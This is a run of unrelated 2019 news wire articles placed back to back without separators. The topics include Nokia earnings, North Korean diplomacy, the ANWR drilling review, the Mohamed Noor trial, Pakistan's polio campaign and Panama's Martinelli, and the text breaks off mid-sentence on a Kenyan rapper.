12% and 16%. "Clearly positive" recurring free cash flow in 2020. Nokia expects to outperform its primary addressable market in 2019 and over the longer term. Nokia expects 2019 to feature a soft first half followed by a robust second half. About 200 million euros of revenue that was unable to be recognized in the first quarter will be recognized before the end of 2019. The delay is related to 5G deliveries primarily in North America. Nokia expected its first quarter to be weak, but not quite this weak. Poor first-quarter results add to the pressure for Nokia to execute in the second-half of the year, which already needed to be strong for the company to hit its guidance. Another setback in the second quarter could derail the company's full-year outlook and raise some questions about its longer-term outlook. More From The Motley Fool Timothy Green has no position in any of the stocks mentioned. The Motley Fool has no position in any of the stocks mentioned. The Motley Fool has a disclosure policy. Nigerian Oil Minister Emmanuel Kachikwu and the president of Saudi Aramco on Tuesday discussed investment options in the midstream and downstream sector, Nigerias petroleum ministry said Wednesday in a tweet. Aramco officials and Kachikwu who was visiting Saudi Arabia discussed areas of shared investment interests such as refining and petrochemicals production, according to Reuters. Kachikwu also held talks with Saudi Arabias energy minister to cement the budding interest to support Nigerias infrastructure development in the oil sector. Wednesday meetings come a month after Nigerias state oil company said it was in talks with different consortiums to revamp its refineries and save billions of dollars on fuel imports. Despite being Africas top crude oil producer, Nigeria imports more than 80 percent of its petroleum products and it is the only major oil exporting country that imports the largest volume of petrol in the world because of its low domestic refining capacity. Oil Minister Emmanuele Kachikwu has previously said the government would raise $1.2 billion to upgrade its refineries and would end reliance on imports by 2019. Nigerias gasoline consumption is roughly 40 million liters per day in a country of almost 200 million people. Shortages of petroleum products have plagued the country for years. Washington (AFP) - President Donald Trump insisted Friday that the United States paid North Korea nothing for the release of Otto Warmbier, a young American student who fell into a coma after allegedly being tortured in the totalitarian country. On Thursday, The Washington Post quoted unidentified sources as saying that a US official was made to sign a pledge to pay $2 million in medical costs before being allowed to fly Warmbier back home from Pyongyang in 2017. The envoy signed the pledge on instructions from Trump, the Post reported. But in a tweet Friday, Trump said: "No money was paid to North Korea for Otto Warmbier, not two Million Dollars, not anything else." He then wrote, without saying where the quote came from: "President Donald J. Trump is the greatest hostage negotiator that I know of in the history of the United States. 20 hostages, many in impossible circumstances, have been released in last two years. No money was paid. Cheif (sic) Hostage Negotiator, USA!" Warmbier, a University of Virginia student, was imprisoned after being accused of taking down a propaganda poster in his hotel during a trip to North Korea. Doctors said he suffered severe brain damage while in North Korean detention, fell into a coma and died days after arriving back in the United States. North Korea denied claims by the Warmbier family that he had been tortured, saying he had contracted botulism. A coroner who examined Warmbier's body said: "We don't know what happened to him. That's the bottom line". Trump has made rapprochement with North Korea one of his signature policies and he has held two summits with North Korean leader Kim Jong Un. At their last meeting in Hanoi in February, Trump said he accepted Kim's claim not to have known what had happened to Warmbier in prison, despite the case being extraordinarily sensitive. "I will take him at his word," Trump said. By Hyonhee Shin SEOUL (Reuters) - The demotion of Kim Yong Chol, North Korean leader Kim Jong Un's point man for nuclear talks with the United States, signals that long-time diplomats who had been sidelined from the process will return to center-stage, diplomatic sources in Seoul and regional experts said. The hawkish former general and spymaster was recently removed from a key party post, taking the fall for the failed Hanoi summit between Kim and U.S. President Donald Trump. Kim Yong Chol remains a formidable force in Pyongyang but there is no word whether he has been given a new role in the ultra-secretive North Korean power structure. He did not accompany Kim Jong Un to Russia this week for a summit with President Vladimir Putin, the North Korean leader's first international foray since his Hanoi meeting with Trump in February ended in disarray. Foreign Minister Ri Yong Ho and his deputy, Choe Son Hui, flanked the North Korean leader at the meeting in Vladivostok, including riding in his car, a highly unusual display of proximity. "The Hanoi summit damaged the North's long-held principle that its leader never makes an error, so they have to shift the blame," said Kim Hyun-wook, a professor at the Korea National Diplomatic Academy in Seoul, referring to Kim Yong Chol's demotion. "This may not mean an immediate shift in their U.S. strategy, but the diplomats will likely take the initiative to contain the fallout from Hanoi and promote diplomacy with various countries." Kim Yong Chol was beside Kim through the last 12 months, including for his three meetings with South Korean President Moon Jae-in, two with Chinese President Xi Jinping and the two Trump summits, in Singapore and Hanoi. But for those who have known him as a hardline military general, Kim Yong Chol never seemed comfortable with the art of negotiating the roll back of his country's nuclear program in exchange for concessions from the United States. Kim avoided getting into details at negotiating sessions, instead leaving it to diplomats to build strategy, two diplomatic sources in Seoul familiar with the North's diplomatic engagements said. Even then, he refused to yield control, one of the sources said. "Whether or not he understood the issues, he kept a tight grip on the negotiations. It seemed like: 'Over my dead body I'm going to let Ri Yong Ho take over,'" the source said, referring to the North's foreign minister. 'REAL SPOKESWOMAN' The collapse of the Hanoi summit was a major setback for Kim Jong Un, who, several sources said, was led to believe by hawkish aides like Kim Yong Chol that he was about to win sought-after sanctions relief in return for a promise to partially scrap nuclear facilities. Cheong Seong-chang, a senior fellow at South Korea's Sejong Institute, said the demands Kim made of Trump in Hanoi had the hallmarks of the "best scenario" strategy advocated by hawks like Kim Yong Chol. "But it turned out to be a scenario that the United States could never accept," Cheong said. "Kim Jong Un cutting his reliance on Kim Yong Chol is a positive sign for the negotiations." While Ri has gradually been promoted under Kim, the influence of Vice Foreign Minister Choe has surged since the Hanoi summit, officials and North Korea experts said. She was a junior player on the North's U.S. diplomacy team in the 1990s and became the first vice foreign minister and a member of the powerful State Affairs Commission this month. She held several news conferences after the collapse of the Hanoi summit, playing the rare role of conveying Kim Jong Un's thinking. Thae Yong Ho, former North Korean deputy ambassador in London who defected to the South in 2016, said Choe has joined an inner circle of women close to Kim Jong Un, including his sister and his wife. "Now she's the real spokeswoman for Kim Jong Un," Thae told a forum hosted by the Asan Institute of Policy Studies on Wednesday in Seoul. "How can Choe read his mind? Because she has access." A diplomatic source also said Choe appears to have built rapport with Kim Yo Jong, Kim's sister who is also a senior party official, which contributed to her recent promotion. "We have to remember that (Foreign Minister) Ri and Choe are not only North Korea's best people for the job of dealing with the U.S.," said Michael Madden, a North Korea leadership expert at the U.S.-based Stimson Center. "But they both have known the leader since he was a small boy so there is a dynamic of their wanting to see Kim Jong Un thrive and succeed." (Reporting by Hyonhee Shin; Additional reporting by Joyce Lee; Editing by Jack Kim and Raju Gopalakrishnan) By Valerie Volcovici (Reuters) - The Trump administration failed to adequately consider oil spills, climate change and the welfare of polar bears in its expedited study of proposed drilling in Alaskas Arctic National Wildlife Refuge, according to comments published by the U.S. Fish and Wildlife Service this week. The unusually harsh criticism from federal wildlife regulators could deal a blow to one of the most high-profile items in President Donald Trumps energy agenda, and reflects the pitfalls of the administrations drive to speed up big projects with quicker, shorter environmental studies. The Interior Department wants to hold its first lease sale of at least 400,000 acres in ANWR, America's largest wildlife sanctuary, later this year, but could face lawsuits if its permitting process is flawed. The Fish & Wildlife Service said the ANWR Coastal Plain draft environmental impact study (EIS) failed to include oil spill response plans, analyze the effects of climate change on the Arctic, or ensure that surveys of polar bear denning habitats are required. The Interior subagency also listed dozens of other information gaps in its 59 pages of comments and implied that the Interior Department's Bureau of Land Management wrote the study without properly consulting wildlife regulators. "The Service has managed the Arctic National Wildlife Refuge and its resources for several decades and has information and expertise that is valuable in formulating a final EIS that can withstand the scrutiny of legal sufficiency," the agency's Alaska director Gregory Sikanie wrote. The Fish & Wildlife Service declined to provide further comment. The Interior Department said its Bureau of Land Management had received thousands of comments on the draft study, all of which would be considered. "BLM has an obligation to consider all of these comments -including those from its sister agency (Fish & Wildlife) - and anticipates they will inform the Final EIS inmultiple ways," spokeswoman Molly Block said in an email. Story continues BLM completed the draft environmental impact study at the end of December, after Trump expressed an interest in opening the zone to drilling. The comment period ended on March 13. The study was among the first of its kind since Trumps Interior Department in 2017 issued an order that assessments under the National Environmental Policy Act be completed within one year and be no longer than 150 pages. NEPA studies under past administrations have taken years and filled out thousands of pages, a major source of frustration for drillers, miners and other industries that argue the process creates unnecessary delays. Experts said the effort to streamline environmental permitting, however, could also cause problems. "Imposing the timelines and page limits will mean significant impacts go un-analyzed. Tribal consultation and coordination will likely get shortchanged, important scientific data will not be considered, and the publics ability to provide meaningful input on alternative courses of action will be compromised," said Geoff Haskett, former Fish & Wildlife Service director for Alaska and president of the National Wildlife Refuge Association. ANWR covers some 19 million acres of Alaskas North Slope, home to bears, carbou, lynx and muskox, and overlying around 16 billion barrels of recoverable crude oil reserves, according to federal officials. It has been a lightning rod of contention between energy companies that want to develop it and conservationists that want to protect it since the 1970s. (Editing by Richard Valdmanis and Tom Brown) MINNEAPOLIS (AP) Mohamed Noor fled Somalia's civil war as a child, following a well-worn path with his family to a refugee camp in Kenya, the U.S. and eventually Minnesota. After a difficult start, he "fell in love" with his new city, Minneapolis, and carved out a life in business. Then he spotted an online ad recruiting police officers. "I always wanted to serve," Noor said Thursday, breaking more than 18 months of silence since shooting and killing an unarmed woman who approached his squad car. Noor, now 33, is on trial for murder and manslaughter in the July 2017 death of Justine Ruszczyk Damond, a dual U.S.-Australia citizen who had called 911 to report a possible crime minutes before she was shot. His testimony added some detail to what was already known about Noor, whose hiring in 2015 was welcomed by city leaders seeking to diversify a police force in a melting-pot city with the nation's largest population of Somalis. Noor described his early years near Mogadishu as the oldest of 10 children in a middle-class family whose patriarch both farmed and worked for a non-governmental organization. When he was 5, he said, the family fled to Kenya because of strife in Somalia and spent nearly two years in a refugee camp before his father got a U.S. visa. The family lived for about five years in Chicago. Noor didn't know any English when he arrived and was behind in school, but some teachers helped get him caught up. The family then moved to the Minneapolis area, where he found it difficult at first. "When I moved here, no one liked Somalis, and I picked that up right away," he testified. But things got better after Noor signed up for football and began making friends. He became a citizen in 1999 and eventually graduated from Augsburg University, a school close to the Cedar-Riverside neighborhood that is home to many of the city's Somalis. Noor studied economics and business administration and worked as an assistant general manager for a hotel. He was in a job handling pharmaceutical benefits when he spotted the Minneapolis Police Department's ad. Story continues He joined the force through a 29-week cadet training program and had some bumps. Noor testified Thursday about once clearing the ammunition from his gun incorrectly, leaving a round in the chamber, and being chewed out. Damond's death led to questions about Noor's training, but then-Police Chief Janee Harteau said Noor "was very suited to be on the street." The cadet program is aimed at finding candidates who already have a two- or four-year college degree in another field, said Nate Gove, executive director of the Minnesota Board of Peace Officer Standards and Training, which sets licensing and training standards for law enforcement agencies and officers. "Nobody is waved through the program," Gove said. He said such programs are "not fast track" and that candidates still must meet minimum standards and pass license examinations. After Noor completed the program successfully and was assigned to the city's Fifth Precinct, city leaders heralded his arrival. "A wonderful sign of building trust and community policing at work," then-Mayor Betsy Hodges posted on Facebook. Noor, who is married and has a son from a previous marriage, was fired from the force after he was charged with killing Damond. He renewed his peace officer license a few days later, making him eligible to serve as a police officer until 2021 if he's acquitted and can find employment. A felony conviction prevents anyone from being a law officer in Minnesota. ___ Check out the AP's complete coverage of Mohamed Noor's trial. Jerusalem (AFP) - Orthodox Christians from around the world marked Good Friday with a procession through Jerusalem's Old City, retracing the steps Jesus is said to have taken on the way to his death. Thousands of pilgrims, many carrying wooden crosses and at least one wearing a crown of thorns on his head, visited the 14 Stations of the Cross marking the traditional sites of Jesus's condemnation up to his crucifixion. Armed Israeli police lined the route, along the "Via Dolorosa", or "Way of the Suffering", which includes points where Jesus is said to have met his mother, fallen several times, been helped in carrying the cross and met the lamenting women of Jerusalem. The procession ended at the Church of the Holy Sepulchre, in Israeli-occupied east Jerusalem, built at the site where Christians believe Jesus was crucified, buried and resurrected. Western Christians, who follow a different calendar to the Orthodox churches, made the same procession a week earlier. The majority of the Christians in the Holy Land belong to the Orthodox faith but traditionally they do not play a major part in the procession. Outbacks Parent Is Very Happy With Its Delivery Business Both Outback Steakhouse and Carrabas Italian Grills delivery businesses continue to shine, much to the delight of parent company Bloomin Brands. The restaurant group, which recently underwent a CEO change last month, reported first-quarter earnings Friday. Among the highlights was that off-premise now accounts for 14 percent of overall sales at Outback and Carrabas Italian Grill, the two chains Bloomin has currently invested funds into for proprietary delivery. At its investor day in March, Bloomin predicted off-premise would soon account for 25 percent of sales, or upward of $500 million, at both brands. Delivery is now available in 550 locations, according to the company. The casual dining operator also spent $400 million in the first quarter remodeling the look of its stores to better handle higher off-premise order volumes. These [delivery] locations are exceeding benchmarks across several key metrics, including delivery time, and we are pleased with the pace of the delivery ramp-up, said David Deno, Bloomin Brands CEO, on an earnings call with analysts. Now that the business is reaching scale, we will begin augmenting existing local marketing efforts with additional tactics to drive awareness. Lower Average Tickets The one headwind associated with delivery, particularly at Bloomins flagship brand Outback, is the continued trend of lower average checks on to-go orders compared to dine-in customers, analysts said. Diners currently spend an average of $27 on takeout orders, $42 for delivery and $54 in-restaurant. Outback credits this to customers purchasing more drinks at its brick-and-mortar locations. One of the advantages of having your own delivery network is that you have the ability to tweak the operating model as you see fit, and we can make changes that can enhance profitability and enhance the expense for our guests, Bloomin Brands CFO Christopher Meyer said in response. Same-store sales at Outback improved by 3.5 percent in the quarter, its ninth consecutive period of positive sales results. This was despite a slowdown in traffic due to less discounted prices and unfavorable weather, the company said. Bloomins three other brands Carrabas, Bonefish Grill, and Flemings Prime Steakhouse and Wine Bar also reported positive comparable store sales for the first time in the same quarter since the end of 2017, contributing to a combined 2.4 percent U.S. same-store sales increase for the restaurant group. Revenue in the quarter additionally rose 1 percent to $1.1 billion. Subscribe to Skift newsletters covering the business of travel, restaurants, and wellness. On the issue of Georgias energy independence By Levan Abramishvili Energy independence has been one of the main aims for Georgia for a very long time. The change in the ruling powers didnt undermine the determination and efforts to fulfill the goal.There are various methods of generating energy and every one of them has its strength and weaknesses. The thermal power plants (TPPs) that use coal and fossil fuels arent renewable but provide guaranteed electricity supply.TPPs are less environmentally sound than the renewable sources of energy, such as wind, solar and small scale hydro resources. They produce electricity with no greenhouse gas emissions at the point of generation and low amounts of greenhouse gas emissions across their entire lifecycle.On the surface, the cost of electricity generation from many renewables tends to be higher than other forms of generation, but when environmental and social aspects of power generation and the costs of emissions, worsening of health and climate change are considered, the overall costs turn out to be much less. Therefore experts around the globe are advising the countries to invest more in the renewables.According to the Ministry of Energy website, the richest of the natural resources in Georgia is the hydro supplies around 300 rivers are significant in terms of energy production; their total annual potential capacity is equivalent to 15000 MW, while the average annual production equals to 50 bln. KWh. There are over 60 potential HPP projects identified by the Ministry of Energy; the list is public and available on the website of the Ministry.Georgian rivers are characterized by seasonality, which implies that the vast hydro resources might not be available during the colder months, which creates a need for importing electric energy from the neighboring countries.The use of electric energy rises yearly in Georgia, and the increase of the internal resources isnt able to keep up with the demand, which creates the need for generating energy by the thermal power stations and the necessity of importing electric energy, which, in turn, raises the tariffs for the consumers.During the months when the rise of the water levels in rivers, excess energy is produced, and Georgia exports the electric power to neighboring Russia, Armenia, Azerbaijan, and Turkey. But during the colder months, the country needs additional energy. Unfortunately, the numbers for imported energy are higher than exported energy.Georgia being unable to generate enough electric energy for its citizens creates several issues. One of the most apparent problems is being energy dependent upon the neighbors, especially Russia.While it is vital to supply the country with the sufficient energy, it should be managed in an environmentally stable manner that takes into account the long-term effects of the hydro plants, their impact on the natural biome as well as on the society.Exploiting the natural resources for the gain of the country and the businesses is one thing, but doing it in a way that directly affects the communities that are dependent upon the water resources is another.The recent events in Pankisi Gorge is not a rally against the energy independence of Georgia, but the desperate plea of people whose livelihood is directly linked with the natural resources around them, which could be in danger if the uncontrolled construction of HPPs continues in the area. The deaths of three ethnic Rakhine men in Myanmar military custody and the secret cremation of their bodies has provoked outrage, as fears over military impunity increase in the intensifying conflict with Rakhine rebels. The Arakan Army (AA) is fighting for more autonomy for ethnic Rakhine Buddhists in a state already infamous for the 2017 military crackdown against its Rohingya Muslims. Clashes between the rebels and the military escalated in January after the insurgents attacked police posts. The armed forces responded with heavy artillery and fighter jets in violence that has displaced more than 20,000 people of various ethnicities. Two weeks ago, Myanmar soldiers barged into the home of Maung Than Nu, 45, in Lak Ka village in Mrauk U township. He was carted off with 22 other men, suspected of being rebels. This week his wife, Than Khin Kyi, heard rumours on Facebook that he had died in military custody. Officials confirmed his death Thursday after she travelled with other relatives of the detainees to the state capital Sittwe. "He was arrested without committing any crimes," the 45-year-old told AFP in tears by phone. "My husband is not AA," she said. Maung Than Nu died on April 22 of "heart failure" The Myawady newspaper - an army mouthpiece - reported. Two other men arrested in the raid have also died in custody. According to The Myawady, Zaw Myo Htun, 22, also died of "heart failure". The death of Thein Htun Sein, 40, was confirmed by Sittwe officials, but how he died has not been made public. The families had hoped to retrieve the men's bodies in the state capital Sittwe, but were unable to. "We were told by police they had already been cremated," said Thein Htun Sein's nephew Maung Nyan Thar, adding the families wanted "legal action" against anyone found responsible for the deaths. Government spokesman Zaw Htay could not be reached for comment. - 'Completely unacceptable' - Story continues The north of Rakhine state is in strict lockdown, making any independent verification difficult. Thousands of troops have been deployed to Rakhine, one of Myanmar's poorest states, riven with ethnic and religious divisions. Arakan National Party (ANP) MP for Mrauk U, Oo Hla Saw, called the deaths and disposal of the bodies "completely unacceptable". Rakhine Chief Minister Nyi Pu told relatives of the remaining detainees Friday he did not know when they would be reunited. None have been formally charged. Campaign group Fortify Rights called for an independent investigation into the deaths, fearing they could have been from "unlawful killing, ill-treatment or inadequate conditions in custody." The military forced some 740,000 Rohingya Muslims into Bangladesh in its 2017 crackdown that UN investigators say amounted to "genocide". Ethnic Rakhine mobs stood accused of aiding the expulsion. Myanmar's army said the "clearance operations" were justified to flush out Rohingya militants. By Jose Torres TAPACHULA, April 25 (Reuters) - More than a thousand migrants broke out of a detention center in southern Mexico on Thursday evening, authorities said, in a fresh sign of how a surge in arrivals has stretched the country's resources to the limit. More than half of the roughly 1,300 migrants later returned to the Siglo XXI facility in the border city of Tapachula in Chiapas state, but about 600 are still unaccounted for, the National Migration Institute said in a statement. Migrants from Cuba, who make up the majority of the people being held at the center, were largely behind the breakout, the institute added. Mexican newspaper Reforma reported that Haitians and Central Americans were also among those who fled the facility, which has been crammed with people. Mexico has returned 15,000 migrants in the past 30 days, officials have said, amid pressure from U.S. President Donald Trump to stem the flow of people north. On Wednesday Trump reiterated threats to close part of the U.S.-Mexico border if Mexico doesn't block what described as a new caravan of migrants headed north. The majority of migrants moving through Mexico are from Guatemala, Honduras and El Salvador, but Cubans are also joining in large numbers. More than 1,000 people from Cuba are now in Chiapas, according to Mexican officials. (Reporting by Jose Torres in Tapachula; Dave Graham and Daina Beth Solomon in Mexico City; Editing by Michael Perry) By Zachary Fagenson WEST PALM BEACH, Fla. (Reuters) - Lawyers for New England Patriots owner Robert Kraft grilled a Florida police detective on Friday, seeking to persuade a judge to toss out hidden-camera footage that prosecutors say shows the 77-year-old soliciting prostitution at a massage parlour. "We think the whole warrant is unlawful," defence attorney Jack Goldberger told Judge Leonard Hanser in Palm Beach County court near the start of a multiday hearing scheduled to resume on Tuesday. Prosecutors responded that Kraft cannot challenge the video's legality because he could not have had any expectation of privacy in the first place. "An individual who is in a business establishment with no ties to that establishment, much less there to engage in a crime, has no expectation of privacy," Assistant State's Attorney Greg Kridos said. The video could be key evidence against the billionaire owner of the reigning Super Bowl champions, who faces two misdemeanour counts of soliciting prostitution at the Orchids of Asia Spa in Jupiter, Florida, along with some two dozen other men. Kraft's high-powered legal team is fresh off a win on Tuesday, when they successfully persuaded Hanser to temporarily block prosecutors from releasing the hidden-camera footage to media outlets, which had requested copies under the state's robust open records law. Kraft, who has owned the Patriots since 1994, pleaded not guilty, but has issued a public apology for his actions. His attorneys have argued that the surreptitious videotaping of customers, including Kraft, inside a massage parlour was governmental overreach and the result of an illegally obtained search warrant. The warrant, Kraft's lawyers claim, was secured under false pretences because the application was misleading. Among other alleged flaws, they said, police cited human trafficking as a potential crime in their application but prosecutors have since acknowledged that the investigation yielded no evidence of trafficking. Story continues At Friday's hearing, Alex Spiro, one of Kraft's lawyers, pressed that argument. He spent hours challenging the lead detective, Andrew Sharp, on precisely what he wrote in the warrant affidavit. Kraft is accused of visiting the day spa twice in January, including on the morning of the day the Patriots defeated the Kansas City Chiefs to earn a Super Bowl berth. Two weeks later, the team won its sixth championship under Kraft's ownership. (Reporting by Zachary Fagenson, writing by Joseph Ax; Editing by Scott Malone, Jonathan Oatis and Bill Berkrot) Flanked by armed guards, polio workers fanned out in the slums of Pakistan's capital Islamabad after a bloody week of fatal attacks on health workers threatened to derail an ongoing vaccination drive. April has been a violent month for Pakistan's polio campaign, with at least three people killed this week, while thousands of parents have refused to allow their children to be inoculated amid a deluge of anti-vaccine content on social media. The violence coincided with an outbreak of hysteria in cities across northwest Pakistan after rumours of children suffering from adverse reactions to a polio vaccine sparked panic, with tens of thousands rushed to hospitals. An official report later said a "pre-planned conspiracy" was responsible for the panic but provided few details. The incident fed festering suspicions about the vaccine campaign, with authorities saying dozens of polio workers have been beaten, stoned, and harassed and one health clinic burned to the ground in the episode's wake. Undeterred health workers have continued to inoculate thousands of children -- with or without security -- while public health officials have argued with reluctant parents, pleading with them to vaccinate their children. More than 250,000 health workers are involved in the campaign. In a slum on the outskirts of Islamabad, parents cradled wailing youngsters as staff administered oral doses of the vaccine, while neighbours crowded around to watch as police scanned the surroundings. Across the capital in an upscale apartment block, a Pakistani health worker spent time convincing mothers and fathers who had earlier refused to allow their children to be vaccinated. "What is pinching us is actually the fake or negative social media propaganda," Dr Mohammad Asif Rahim, an assistant deputy commissioner in Islamabad, told AFP, saying thousands of parents each day are now refusing to participate in the polio campaign. - Anti-vax phenomenon - Story continues Polio is endemic in only three countries globally -- Pakistan, Afghanistan and Nigeria -- although a relatively rare strain was also detected in Papua New Guinea last year. Polio vaccination campaigns have faced stubborn resistance for years in Pakistan. Opposition to myriad forms of inoculation skyrocketed after the CIA organised a fake vaccination drive to help track down Al-Qaeda leader Osama Bin Laden in the garrison town of Abbottabad, where US forces later killed the militant leader in 2011. Some Taliban and hardline religious figures have been known to fan rumours that vaccines contain ingredients forbidden in Islam, such as pork derivatives, or that can cause infertility as part of a conspiracy to reduce the population. Attacks by militants have also been frequent, with nearly 100 people killed in assaults targeting vaccine teams since 2012. Despite the opposition, campaigners have reported progress with tens of millions of children vaccinated across the country along with a 96 percent drop in reported polio cases since 2014. But as Pakistan nears its goal of ridding polio from its territory, new headwinds have arisen amid a growing global movement against inoculation. The anti-vax phenomenon has attracted adherents worldwide, fuelled by medically baseless claims and proliferated by social media resulting in a resurgence of once-eradicated, highly-contagious diseases. In recent months Pakistani social media has also been inundated with fake news reports and videos -- garnering hundreds of thousands of views and shares in the last week alone -- claiming numerous children have been killed by the polio vaccine. Public health experts say the misinformation has inflamed already existing distrust of vaccine campaigns, resulting in a three-fold jump in refusals by parents to vaccinate their children in the last two years. "Here people have little knowledge, so if they see a professor allegedly from the US or elsewhere who is against the vaccine, they are easily convinced," said Rana Safdar from Pakistans National Institute of Health. "Now there is a pushback. We need to regain the momentum." md-jf-ds-sjd/ecl PANAMA CITY (AP) Panama's electoral court has ruled that jailed ex-President Ricardo Martinelli may not participate in May general elections. Martinelli has been behind bars on charges of political espionage since being extradited from the U.S. last June. The 67-year-old who governed from 2009 to 2014 was nevertheless able to secure candidacies for mayor of Panama City and for the national legislature. He has led some polls on the mayoral race. After the ruling was made public Friday, Martinelli's lawyer said there would be an appeal to the Supreme Court. Martinelli blamed President Juan Carlos Varela for the decision, saying in a message released online that he "always knew Varela would never let me run and win overwhelmingly for any public office." Martinelli has also said he is innocent of the spying allegations. By Stefanie Eschenbacher and Elida Moreno PANAMA CITY (Reuters) - Panama's electoral tribunal has ruled that former President Ricardo Martinelli, who is awaiting trial on wiretapping charges, cannot run in next month's elections, but the politician vowed on Friday to retake the presidency in the following vote. The tribunal has not formally commented on the decision, but a copy of the ruling seen by Reuters said it found Martinelli was not eligible because he did not meet residency requirements. A tribunal official confirmed the ruling was authentic. Martinelli was extradited to Panama last June from the United States to face a variety of charges. He had been living in the United States since leaving Panama in 2015. A 67-year-old supermarket tycoon who led the Central American country from 2009 to 2014, Martinelli was running for mayor of Panama City and a seat in Congress. Wearing a baseball cap and jeans, he shouted "electoral fraud" to reporters as he entered a courthouse on Friday morning. Eduardo Camacho, a spokesman for Martinelli, called the tribunal's ruling a "political decision." In a video shared by his lawyer, Martinelli struck a defiant tone, vowing to return to the presidency in 2024. "This makes me stronger, it makes me humbler," he said. "We will return." The tribunal ruling noted that if Martinelli had not fought extradition from the United States, he would have returned to Panama in 2017 and "amply complied" with the residency rules. Martinelli has been charged with spying on 150 people, including politicians, union leaders and journalists. Awaiting trial for spying as well as charges of embezzlement of public funds to finance it, he faces up to 21 years in prison. None of that stopped the pugnacious businessman and avid tweeter, who is often likened to U.S. President Donald Trump, from mounting a return to public life from his prison cell, decrying the charges as "fake news." Martinelli denies any wrongdoing. Polls showed Martinelli was the front-runner to be elected mayor of Panama City in May, the second-biggest political post in the country. He was also running a separate campaign for a seat in the National Assembly in case that bid failed. Analysts expected Martinelli to try to use the mayor's job as a springboard to return to the presidency. (Reporting by Elida Moreno and Stefanie Eschenbacher; Editing by Rosalba O'Brien and Leslie Adler) By Lisa Rapaport (Reuters Health) - One of the hardest things about being a new parent is figuring out when babies are so sick they need to go to the emergency room and when worrisome signs or symptoms might actually be perfectly normal, doctors say. Anxious parents bring babies to the ER for all kinds of things that could go either way like goopy eyes, concerns about how the stump from the cut umbilical cord looks, vomiting, strange looking stool, irregular breathing, and jerky or unusual body movements, doctors write in the American Journal of Emergency Medicine. "Differences between potentially dangerous pathology and normal infant behavior can be subtle," said lead study author Dr. Zachary Drapkin of the University of Utah in Salt Lake City. "It can be helpful if parents are counseled about what to expect over the first few days of life," Drapkin said by email. "Many of these issues could very effectively be addressed with improved access to primary care." Even for emergency department physicians, it can be challenging to distinguish normal infant signs, symptoms, and behaviors from potentially life-threatening conditions, Drapkin and colleagues write. For example, babies with conjunctivitis, or goopy eye, need to be seen in the ER when the cause is an infection, the paper notes. Infection is more likely the culprit when there's lots of discharge and gunk. Normally, the umbilical stump left behind when the cord is cut at birth will turn black or brown and dry out before it falls off, typically within about one week. It can also have a foul smell like rotting fruit, the paper notes. But warmth, swelling, purulent discharge or a fever might indicate an infection that requires immediate medical attention. Nearly all babies spit up because their stomachs are so small, and this isn't necessarily a problem as long babies are urinating, feeding and growing normally. Unlike spit-up, projectile vomit may be caused by medical problems that could warrant a trip to the ER, the paper notes. Infant stool, meanwhile, can be a greenish color for babies who are fed formula and more of a mustard color for breastfed infants, the doctors point out. Bloody or black stool after the newborn stage, however, might mean babies need to be checked for serious health problems like internal bleeding or bowel obstruction. Newborns can startle easily and have jittery movements in response to stimuli, and this is normal, the doctors note. But jitteriness or jerky movements that continue over time and aren't in response to stimuli may mean there's a seizure problem or something else that requires an urgent checkup. Beyond the challenge of figuring out what infant health issues may be true emergencies, parents can also struggle to get same-day sick visits with pediatricians that could help them avoid a trip ER, said Dr. Rajesh Daftary of the University of California San Francisco and Zuckerberg San Francisco General Hospital. "It's hard to estimate what number of emergency department visits by a newborn or infant could be averted with a same day visit, but it's certainly the majority," Daftary, who wasn't involved in the paper, said by email. "The challenge is trying to obtain these same day appointments." Nurse advice phone lines may help in some cases, but it can be hard for a clinician on the phone to make an assessment without directly examining a baby, Daftary added. "Urgent care clinics can be especially helpful if they are staffed by a physician or advanced practitioner (nurse practitioner, physician assistant) specializing in pediatric care," Daftary added. "Without that level of experience, an urgent care physician may opt to transfer a child to an emergency department where a more thorough assessment can be performed." SOURCE: http://bit.ly/2DxWQOA American Journal of Emergency Medicine, online March 20, 2019. Brazilian authorities took a parrot into custody after it alerted suspected drug dealers of cops nearby, according to the Guardian. The bird was seized on Monday afternoon after police descended on a drug den in Vila Irma Dulce, a low-income neighborhood in northeast Brazil. The unidentified parrot allegedly warned the couple that ran the shack by shouting, "Mama, the police!" in Portuguese, Brazilian broadcaster Globo notes. "He must have been trained for this," a policeman who took part in the operation said. "As soon as the police got close he started shouting." Police were still able to arrest the pair. In the process, they recovered drugs including crack and marijuana and large amounts of cash, according to NBC. Cops were less successful, however, in getting the parrot to cooperate after it was taken to "jail." "Lots of police officers have come by and he's said nothing," Alexandre Clark, a local veterinarian, said. One thing is for sure: the parrot won't have to worry about ever being a "jailbird." After being captured, the bird was taken to a local zoo, where it will spend three months learning to fly before being released in the wild, Globo reports. By Idrees Ali WASHINGTON (Reuters) - The Pentagon said on Friday that it expected to send about 300 additional troops to the border with Mexico including roughly 100 cooks who would hand out meals, breaking with past policy to avoid troops coming in contact with migrants. It is the latest sign of a growing U.S. military support role for President Donald Trump's politically charged immigration policies. Earlier this month, Trump said he would have to mobilise more of the military at the border with Mexico after listening to stories about migrants crossing the border from people attending a Republican fundraiser. The Pentagon previously said there were no plans for U.S. forces to interact with migrants as they support border agents dealing with illegal immigration. In addition to the cooks, the Pentagon is expected to send 160 drivers and 20 lawyers, Pentagon spokesman Charlie Summers said. "We will have some of our troops handing out meals, therefore (they) would come in contact with migrants," Summers said. He said it was an "amendment to the current policy." U.S. troops are assisting Border Patrol agents who have been overwhelmed trying to cope with a surge in migrants seeking asylum. The Department of Homeland Security a few weeks ago redeployed about 750 officers to the border to deal with the surge, resulting in a slowing of legal crossings and commerce at ports of entry. Summers said acting Defence Secretary Patrick Shanahan had not yet signed the request for assistance from the Department of Homeland Security, but he was expected to do so. There are currently about 5,000 active-duty and National Guard troops near the border, though that number fluctuates. There has been increasing concern about the military playing a growing role on the border with Mexico. The Posse Comitatus Act, a federal law on the books since the 1870s, restricts using the U.S. Army and other main branches of the military for civilian law enforcement on U.S. soil, unless specifically authorized by Congress. But the military can provide support services to law enforcement and has done so on occasion since the 1980s. Story continues Earlier this month six Mexican military personnel questioned two U.S. Army soldiers near Clint, Texas. A U.S. military investigation found the American soldiers were in U.S. territory during the incident, while the Mexican personnel believed they were south of the border. Trump has made immigration a signature issue of his presidency and of his re-election campaign. He declared a national emergency over the issue earlier this year in an effort to redirect funding from Congress to build a wall along the U.S. southern border. (Reporting by Idrees Ali; Editing by Alistair Bell and Leslie Adler) Kaka Empire signed female rapper Femi One unleashed her physical assets on Instagram Thursday, leaving her fans hot and bothered. A tantalizing photo of the Hiyo One rapper showing off her thunder thighs was posted on IG by her stable, Kaka 